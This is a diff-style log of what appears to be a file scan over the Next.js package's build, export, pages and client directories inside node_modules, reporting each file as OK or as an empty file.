+/scan/node_modules/next/dist/build/webpack/loaders/next-middleware-wasm-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/interface.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/interface.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/minify.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/minify.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/codegen.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/codegen.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/utils.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/minify.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/codegen.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/utils.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/interface.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/utils.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/lightningcss-loader/src/loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-metadata-route-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-css-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/modularize-import-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-css-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-metadata-image-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-action-entry-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/modularize-import-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/get-module-build-info.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/get-module-build-info.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-swc-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/empty-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-middleware-wasm-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/get-module-build-info.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/postcss.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/join-function.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/file-protocol.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/file-protocol.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/value-processor.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/join-function.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/value-processor.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/postcss.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/join-function.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/postcss.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/file-protocol.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/lib/value-processor.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/resolve-url-loader/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-app-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-function-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-middleware-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-route-loader/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-route-loader/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-route-loader/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/action-validate.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/action-client-wrapper.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/action-validate.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/server-reference.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/server-reference.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/module-proxy.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/action-client-wrapper.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/server-reference.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/action-validate.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/module-proxy.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/action-client-wrapper.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-loader/module-proxy.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/utils.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-swc-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-client-pages-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-metadata-route-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-invalid-import-error-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/empty-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-image-loader/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-image-loader/blur.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-image-loader/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-image-loader/blur.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-image-loader/blur.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-image-loader/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-app-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-function-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-client-pages-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-client-entry-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/modularize-import-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-ssr-loader/render.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-ssr-loader/render.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-ssr-loader/render.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-ssr-loader/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-ssr-loader/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-ssr-loader/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-metadata-image-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-client-module-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-app-route-loader/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-app-route-loader/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-app-route-loader/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/utils.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/utils.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-middleware-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-app-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/error-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-client-entry-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-edge-function-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/Error.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/Error.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/Warning.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/Warning.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/index.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/Error.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/utils.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/index.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/utils.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/utils.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/Warning.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/postcss-loader/src/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-client-module-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-middleware-wasm-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/error-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/discover.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/resolve-route-data.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/types.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/types.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/resolve-route-data.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/types.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/discover.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/resolve-route-data.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/discover.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/metadata/resolve-route-data.test.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-metadata-image-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-barrel-loader.js.map: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-invalid-import-error-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-client-pages-loader.js: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-flight-client-module-loader.d.ts: OK
+/scan/node_modules/next/dist/build/webpack/loaders/next-barrel-loader.d.ts: OK
+/scan/node_modules/next/dist/build/babel/preset.js: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-ssg-transform.js.map: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-page-disallow-re-export-all-exports.d.ts: OK
+/scan/node_modules/next/dist/build/babel/plugins/jsx-pragma.js.map: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-page-disallow-re-export-all-exports.js: OK
+/scan/node_modules/next/dist/build/babel/plugins/commonjs.d.ts: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-ssg-transform.d.ts: OK
+/scan/node_modules/next/dist/build/babel/plugins/jsx-pragma.d.ts: OK
+/scan/node_modules/next/dist/build/babel/plugins/optimize-hook-destructuring.d.ts: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-page-config.js: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-page-disallow-re-export-all-exports.js.map: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-font-unsupported.js.map: OK
+/scan/node_modules/next/dist/build/babel/plugins/react-loadable-plugin.js.map: OK
+/scan/node_modules/next/dist/build/babel/plugins/jsx-pragma.js: OK
+/scan/node_modules/next/dist/build/babel/plugins/amp-attributes.js: OK
+/scan/node_modules/next/dist/build/babel/plugins/optimize-hook-destructuring.js.map: OK
+/scan/node_modules/next/dist/build/babel/plugins/react-loadable-plugin.js: OK
+/scan/node_modules/next/dist/build/babel/plugins/commonjs.js.map: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-page-config.d.ts: OK
+/scan/node_modules/next/dist/build/babel/plugins/optimize-hook-destructuring.js: OK
+/scan/node_modules/next/dist/build/babel/plugins/commonjs.js: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-ssg-transform.js: OK
+/scan/node_modules/next/dist/build/babel/plugins/amp-attributes.js.map: OK
+/scan/node_modules/next/dist/build/babel/plugins/react-loadable-plugin.d.ts: OK
+/scan/node_modules/next/dist/build/babel/plugins/amp-attributes.d.ts: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-font-unsupported.d.ts: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-page-config.js.map: OK
+/scan/node_modules/next/dist/build/babel/plugins/next-font-unsupported.js: OK
+/scan/node_modules/next/dist/build/babel/preset.js.map: OK
+/scan/node_modules/next/dist/build/babel/loader/util.js: OK
+/scan/node_modules/next/dist/build/babel/loader/get-config.js.map: OK
+/scan/node_modules/next/dist/build/babel/loader/util.js.map: OK
+/scan/node_modules/next/dist/build/babel/loader/get-config.d.ts: OK
+/scan/node_modules/next/dist/build/babel/loader/types.d.ts: OK
+/scan/node_modules/next/dist/build/babel/loader/index.js: OK
+/scan/node_modules/next/dist/build/babel/loader/get-config.js: OK
+/scan/node_modules/next/dist/build/babel/loader/index.js.map: OK
+/scan/node_modules/next/dist/build/babel/loader/util.d.ts: OK
+/scan/node_modules/next/dist/build/babel/loader/transform.d.ts: OK
+/scan/node_modules/next/dist/build/babel/loader/transform.js.map: OK
+/scan/node_modules/next/dist/build/babel/loader/index.d.ts: OK
+/scan/node_modules/next/dist/build/babel/loader/transform.js: OK
+/scan/node_modules/next/dist/build/babel/preset.d.ts: OK
+/scan/node_modules/next/dist/build/compiler.d.ts: OK
+/scan/node_modules/next/dist/build/normalize-catchall-routes.d.ts: OK
+/scan/node_modules/next/dist/build/collect-build-traces.js: OK
+/scan/node_modules/next/dist/build/progress.js: OK
+/scan/node_modules/next/dist/build/utils.d.ts: OK
+/scan/node_modules/next/dist/build/is-writeable.js.map: OK
+/scan/node_modules/next/dist/build/create-compiler-aliases.d.ts: OK
+/scan/node_modules/next/dist/build/normalize-catchall-routes.test.d.ts: OK
+/scan/node_modules/next/dist/build/polyfills/polyfill-nomodule.js: OK
+/scan/node_modules/next/dist/build/polyfills/object-assign.d.ts: OK
+/scan/node_modules/next/dist/build/polyfills/polyfill-module.js: OK
+/scan/node_modules/next/dist/build/polyfills/object-assign.js.map: OK
+/scan/node_modules/next/dist/build/polyfills/object-assign.js: OK
+/scan/node_modules/next/dist/build/polyfills/fetch/whatwg-fetch.js.map: OK
+/scan/node_modules/next/dist/build/polyfills/fetch/index.js: OK
+/scan/node_modules/next/dist/build/polyfills/fetch/whatwg-fetch.d.ts: Empty file
+/scan/node_modules/next/dist/build/polyfills/fetch/whatwg-fetch.js: OK
+/scan/node_modules/next/dist/build/polyfills/fetch/index.js.map: OK
+/scan/node_modules/next/dist/build/polyfills/fetch/index.d.ts: OK
+/scan/node_modules/next/dist/build/polyfills/process.d.ts: Empty file
+/scan/node_modules/next/dist/build/polyfills/process.js.map: OK
+/scan/node_modules/next/dist/build/polyfills/process.js: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/shim.js.map: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/shim.d.ts: Empty file
+/scan/node_modules/next/dist/build/polyfills/object.assign/polyfill.js.map: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/implementation.d.ts: Empty file
+/scan/node_modules/next/dist/build/polyfills/object.assign/index.js: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/polyfill.js: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/auto.js: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/auto.d.ts: Empty file
+/scan/node_modules/next/dist/build/polyfills/object.assign/shim.js: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/index.js.map: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/implementation.js.map: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/index.d.ts: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/polyfill.d.ts: Empty file
+/scan/node_modules/next/dist/build/polyfills/object.assign/implementation.js: OK
+/scan/node_modules/next/dist/build/polyfills/object.assign/auto.js.map: OK
+/scan/node_modules/next/dist/build/index.js.map: OK
+/scan/node_modules/next/dist/build/progress.d.ts: OK
+/scan/node_modules/next/dist/build/deployment-id.js.map: OK
+/scan/node_modules/next/dist/build/templates/edge-ssr.d.ts: OK
+/scan/node_modules/next/dist/build/templates/app-page.js: OK
+/scan/node_modules/next/dist/build/templates/app-page.d.ts: OK
+/scan/node_modules/next/dist/build/templates/pages.js.map: OK
+/scan/node_modules/next/dist/build/templates/edge-app-route.d.ts: OK
+/scan/node_modules/next/dist/build/templates/edge-app-route.js: OK
+/scan/node_modules/next/dist/build/templates/pages-api.js: OK
+/scan/node_modules/next/dist/build/templates/pages-edge-api.js: OK
+/scan/node_modules/next/dist/build/templates/pages-edge-api.d.ts: OK
+/scan/node_modules/next/dist/build/templates/middleware.js.map: OK
+/scan/node_modules/next/dist/build/templates/edge-ssr.js.map: OK
+/scan/node_modules/next/dist/build/templates/helpers.js.map: OK
+/scan/node_modules/next/dist/build/templates/middleware.d.ts: OK
+/scan/node_modules/next/dist/build/templates/middleware.js: OK
+/scan/node_modules/next/dist/build/templates/edge-app-route.js.map: OK
+/scan/node_modules/next/dist/build/templates/app-route.js: OK
+/scan/node_modules/next/dist/build/templates/edge-ssr-app.js: OK
+/scan/node_modules/next/dist/build/templates/pages-edge-api.js.map: OK
+/scan/node_modules/next/dist/build/templates/helpers.js: OK
+/scan/node_modules/next/dist/build/templates/edge-ssr-app.d.ts: OK
+/scan/node_modules/next/dist/build/templates/app-page.js.map: OK
+/scan/node_modules/next/dist/build/templates/pages.js: OK
+/scan/node_modules/next/dist/build/templates/app-route.js.map: OK
+/scan/node_modules/next/dist/build/templates/app-route.d.ts: OK
+/scan/node_modules/next/dist/build/templates/helpers.d.ts: OK
+/scan/node_modules/next/dist/build/templates/edge-ssr.js: OK
+/scan/node_modules/next/dist/build/templates/pages-api.d.ts: OK
+/scan/node_modules/next/dist/build/templates/edge-ssr-app.js.map: OK
+/scan/node_modules/next/dist/build/templates/pages.d.ts: OK
+/scan/node_modules/next/dist/build/templates/pages-api.js.map: OK
+/scan/node_modules/next/dist/build/entries.js: OK
+/scan/node_modules/next/dist/build/is-writeable.d.ts: OK
+/scan/node_modules/next/dist/build/handle-externals.js.map: OK
+/scan/node_modules/next/dist/build/utils.js: OK
+/scan/node_modules/next/dist/build/utils.js.map: OK
+/scan/node_modules/next/dist/build/compiler.js.map: OK
+/scan/node_modules/next/dist/build/spinner.js.map: OK
+/scan/node_modules/next/dist/build/manifests/formatter/format-manifest.js: OK
+/scan/node_modules/next/dist/build/manifests/formatter/format-manifest.js.map: OK
+/scan/node_modules/next/dist/build/manifests/formatter/format-manifest.d.ts: OK
+/scan/node_modules/next/dist/build/build-context.js.map: OK
+/scan/node_modules/next/dist/build/index.d.ts: OK
+/scan/node_modules/next/dist/build/webpack-config.js: OK
+/scan/node_modules/next/dist/build/load-jsconfig.d.ts: OK
+/scan/node_modules/next/dist/build/write-build-id.js: OK
+/scan/node_modules/next/dist/build/is-writeable.js: OK
+/scan/node_modules/next/dist/build/get-babel-config-file.js: OK
+/scan/node_modules/next/dist/build/webpack-config-rules/resolve.d.ts: OK
+/scan/node_modules/next/dist/build/webpack-config-rules/resolve.js: OK
+/scan/node_modules/next/dist/build/webpack-config-rules/resolve.js.map: OK
+/scan/node_modules/next/dist/build/handle-externals.d.ts: OK
+/scan/node_modules/next/dist/build/jest/jest.js.map: OK
+/scan/node_modules/next/dist/build/jest/__mocks__/empty.js: OK
+/scan/node_modules/next/dist/build/jest/__mocks__/nextFontMock.js.map: OK
+/scan/node_modules/next/dist/build/jest/__mocks__/empty.d.ts: Empty file
+/scan/node_modules/next/dist/build/jest/__mocks__/nextFontMock.js: OK
+/scan/node_modules/next/dist/build/jest/__mocks__/styleMock.js.map: OK
+/scan/node_modules/next/dist/build/jest/__mocks__/fileMock.d.ts: Empty file
+/scan/node_modules/next/dist/build/jest/__mocks__/fileMock.js.map: OK
+/scan/node_modules/next/dist/build/jest/__mocks__/fileMock.js: OK
+/scan/node_modules/next/dist/build/jest/__mocks__/nextFontMock.d.ts: Empty file
+/scan/node_modules/next/dist/build/jest/__mocks__/styleMock.d.ts: Empty file
+/scan/node_modules/next/dist/build/jest/__mocks__/empty.js.map: OK
+/scan/node_modules/next/dist/build/jest/__mocks__/styleMock.js: OK
+/scan/node_modules/next/dist/build/jest/jest.d.ts: OK
+/scan/node_modules/next/dist/build/jest/jest.js: OK
+/scan/node_modules/next/dist/build/jest/object-proxy.js: OK
+/scan/node_modules/next/dist/build/jest/object-proxy.js.map: OK
+/scan/node_modules/next/dist/build/jest/object-proxy.d.ts: OK
+/scan/node_modules/next/dist/build/create-compiler-aliases.js: OK
+/scan/node_modules/next/dist/build/load-entrypoint.js: OK
+/scan/node_modules/next/dist/export/worker.js.map: OK
+/scan/node_modules/next/dist/export/types.js: OK
+/scan/node_modules/next/dist/export/types.js.map: OK
+/scan/node_modules/next/dist/export/types.d.ts: OK
+/scan/node_modules/next/dist/export/worker.js: OK
+/scan/node_modules/next/dist/export/index.js: OK
+/scan/node_modules/next/dist/export/worker.d.ts: OK
+/scan/node_modules/next/dist/export/utils.d.ts: OK
+/scan/node_modules/next/dist/export/index.js.map: OK
+/scan/node_modules/next/dist/export/utils.js: OK
+/scan/node_modules/next/dist/export/utils.js.map: OK
+/scan/node_modules/next/dist/export/index.d.ts: OK
+/scan/node_modules/next/dist/export/routes/app-page.js: OK
+/scan/node_modules/next/dist/export/routes/app-page.d.ts: OK
+/scan/node_modules/next/dist/export/routes/pages.js.map: OK
+/scan/node_modules/next/dist/export/routes/types.js: OK
+/scan/node_modules/next/dist/export/routes/types.js.map: OK
+/scan/node_modules/next/dist/export/routes/types.d.ts: OK
+/scan/node_modules/next/dist/export/routes/app-route.js: OK
+/scan/node_modules/next/dist/export/routes/app-page.js.map: OK
+/scan/node_modules/next/dist/export/routes/pages.js: OK
+/scan/node_modules/next/dist/export/routes/app-route.js.map: OK
+/scan/node_modules/next/dist/export/routes/app-route.d.ts: OK
+/scan/node_modules/next/dist/export/routes/pages.d.ts: OK
+/scan/node_modules/next/dist/export/helpers/get-params.d.ts: OK
+/scan/node_modules/next/dist/export/helpers/is-navigation-signal-error.js.map: OK
+/scan/node_modules/next/dist/export/helpers/create-incremental-cache.d.ts: OK
+/scan/node_modules/next/dist/export/helpers/is-dynamic-usage-error.d.ts: OK
+/scan/node_modules/next/dist/export/helpers/create-incremental-cache.js.map: OK
+/scan/node_modules/next/dist/export/helpers/get-params.js: OK
+/scan/node_modules/next/dist/export/helpers/is-navigation-signal-error.js: OK
+/scan/node_modules/next/dist/export/helpers/is-dynamic-usage-error.js: OK
+/scan/node_modules/next/dist/export/helpers/is-dynamic-usage-error.js.map: OK
+/scan/node_modules/next/dist/export/helpers/create-incremental-cache.js: OK
+/scan/node_modules/next/dist/export/helpers/is-navigation-signal-error.d.ts: OK
+/scan/node_modules/next/dist/export/helpers/get-params.js.map: OK
+/scan/node_modules/next/dist/pages/_error.d.ts: OK
+/scan/node_modules/next/dist/pages/_error.js: OK
+/scan/node_modules/next/dist/pages/_app.js: OK
+/scan/node_modules/next/dist/pages/_app.js.map: OK
+/scan/node_modules/next/dist/pages/_app.d.ts: OK
+/scan/node_modules/next/dist/pages/_error.js.map: OK
+/scan/node_modules/next/dist/pages/_document.js.map: OK
+/scan/node_modules/next/dist/pages/_document.js: OK
+/scan/node_modules/next/dist/pages/_document.d.ts: OK
+/scan/node_modules/next/dist/client/webpack.js: OK
+/scan/node_modules/next/dist/client/normalize-trailing-slash.js: OK
+/scan/node_modules/next/dist/client/normalize-trailing-slash.js.map: OK
+/scan/node_modules/next/dist/client/normalize-trailing-slash.d.ts: OK
+/scan/node_modules/next/dist/client/trusted-types.js: OK
+/scan/node_modules/next/dist/client/on-recoverable-error.d.ts: OK
+/scan/node_modules/next/dist/client/tracing/tracer.js.map: OK
+/scan/node_modules/next/dist/client/tracing/report-to-socket.js: OK
+/scan/node_modules/next/dist/client/tracing/report-to-socket.d.ts: OK
+/scan/node_modules/next/dist/client/tracing/tracer.js: OK
+/scan/node_modules/next/dist/client/tracing/report-to-socket.js.map: OK
+/scan/node_modules/next/dist/client/tracing/tracer.d.ts: OK
+/scan/node_modules/next/dist/client/app-call-server.js: OK
+/scan/node_modules/next/dist/client/app-link-gc.js: OK
+/scan/node_modules/next/dist/client/with-router.js: OK
+/scan/node_modules/next/dist/client/setup-hydration-warning.js.map: OK
+/scan/node_modules/next/dist/client/compat/router.js.map: OK
+/scan/node_modules/next/dist/client/compat/router.js: OK
+/scan/node_modules/next/dist/client/compat/router.d.ts: OK
+/scan/node_modules/next/dist/client/remove-base-path.js.map: OK
+/scan/node_modules/next/dist/client/image-component.js: OK
+/scan/node_modules/next/dist/client/portal/index.js: OK
+/scan/node_modules/next/dist/client/portal/index.js.map: OK
+/scan/node_modules/next/dist/client/portal/index.d.ts: OK
+/scan/node_modules/next/dist/client/app-webpack.js.map: OK
+/scan/node_modules/next/dist/client/next-dev-turbopack.js.map: OK
+/scan/node_modules/next/dist/client/next-dev-turbopack.d.ts: OK
+/scan/node_modules/next/dist/client/webpack.d.ts: OK
+/scan/node_modules/next/dist/client/script.d.ts: OK
+/scan/node_modules/next/dist/client/add-locale.js: OK
+/scan/node_modules/next/dist/client/trusted-types.d.ts: OK
+/scan/node_modules/next/dist/client/has-base-path.d.ts: OK
+/scan/node_modules/next/dist/client/app-next-dev.js.map: OK
+/scan/node_modules/next/dist/client/performance-relayer.js.map: OK
+/scan/node_modules/next/dist/client/add-locale.js.map: OK
+/scan/node_modules/next/dist/client/setup-hydration-warning.js: OK
+/scan/node_modules/next/dist/client/app-link-gc.js.map: OK
+/scan/node_modules/next/dist/client/remove-locale.js.map: OK
+/scan/node_modules/next/dist/client/get-domain-locale.js: OK
+/scan/node_modules/next/dist/client/head-manager.js.map: OK
+/scan/node_modules/next/dist/client/use-intersection.js: OK
+/scan/node_modules/next/dist/client/resolve-href.js: OK
+/scan/node_modules/next/dist/client/link.js: OK
+/scan/node_modules/next/dist/client/next.d.ts: OK
+/scan/node_modules/next/dist/client/web-vitals.js.map: OK
+/scan/node_modules/next/dist/client/detect-domain-locale.js: OK
+/scan/node_modules/next/dist/client/head-manager.d.ts: OK
+/scan/node_modules/next/dist/client/webpack.js.map: OK
+/scan/node_modules/next/dist/client/performance-relayer-app.js: OK
+/scan/node_modules/next/dist/client/app-index.js.map: OK
+/scan/node_modules/next/dist/client/on-recoverable-error.js: OK
+/scan/node_modules/next/dist/client/legacy/image.js.map: OK
+/scan/node_modules/next/dist/client/legacy/image.js: OK
+/scan/node_modules/next/dist/client/legacy/image.d.ts: OK
+/scan/node_modules/next/dist/client/remove-locale.js: OK
+/scan/node_modules/next/dist/client/index.js: OK
+/scan/node_modules/next/dist/client/next-dev.d.ts: OK
+/scan/node_modules/next/dist/client/route-loader.js.map: OK
+/scan/node_modules/next/dist/client/route-announcer.js: OK
+/scan/node_modules/next/dist/client/app-webpack.js: OK
+/scan/node_modules/next/dist/client/trusted-types.js.map: OK
+/scan/node_modules/next/dist/client/app-next-turbopack.js: OK
+/scan/node_modules/next/dist/client/performance-relayer.js: OK
+/scan/node_modules/next/dist/client/router.js.map: OK
+/scan/node_modules/next/dist/client/get-domain-locale.js.map: OK
+/scan/node_modules/next/dist/client/app-bootstrap.js.map: OK
+/scan/node_modules/next/dist/client/app-next.js: OK
+/scan/node_modules/next/dist/client/setup-hydration-warning.d.ts: OK
+/scan/node_modules/next/dist/client/app-bootstrap.js: OK
+/scan/node_modules/next/dist/client/use-intersection.js.map: OK
+/scan/node_modules/next/dist/client/next-dev.js: OK
+/scan/node_modules/next/dist/client/performance-relayer.d.ts: OK
+/scan/node_modules/next/dist/client/script.js: OK
+/scan/node_modules/next/dist/client/components/error-boundary.js: OK
+/scan/node_modules/next/dist/client/components/static-generation-async-storage-instance.js: OK
+/scan/node_modules/next/dist/client/components/navigation.d.ts: OK
+/scan/node_modules/next/dist/client/components/not-found-error.d.ts: OK
+/scan/node_modules/next/dist/client/components/noop-head.js: OK
+/scan/node_modules/next/dist/client/components/action-async-storage.external.js: OK
+/scan/node_modules/next/dist/client/components/action-async-storage.external.d.ts: OK
+/scan/node_modules/next/dist/client/components/static-generation-async-storage-instance.js.map: OK
+/scan/node_modules/next/dist/client/components/is-next-router-error.js.map: OK
+/scan/node_modules/next/dist/client/components/redirect.js: OK
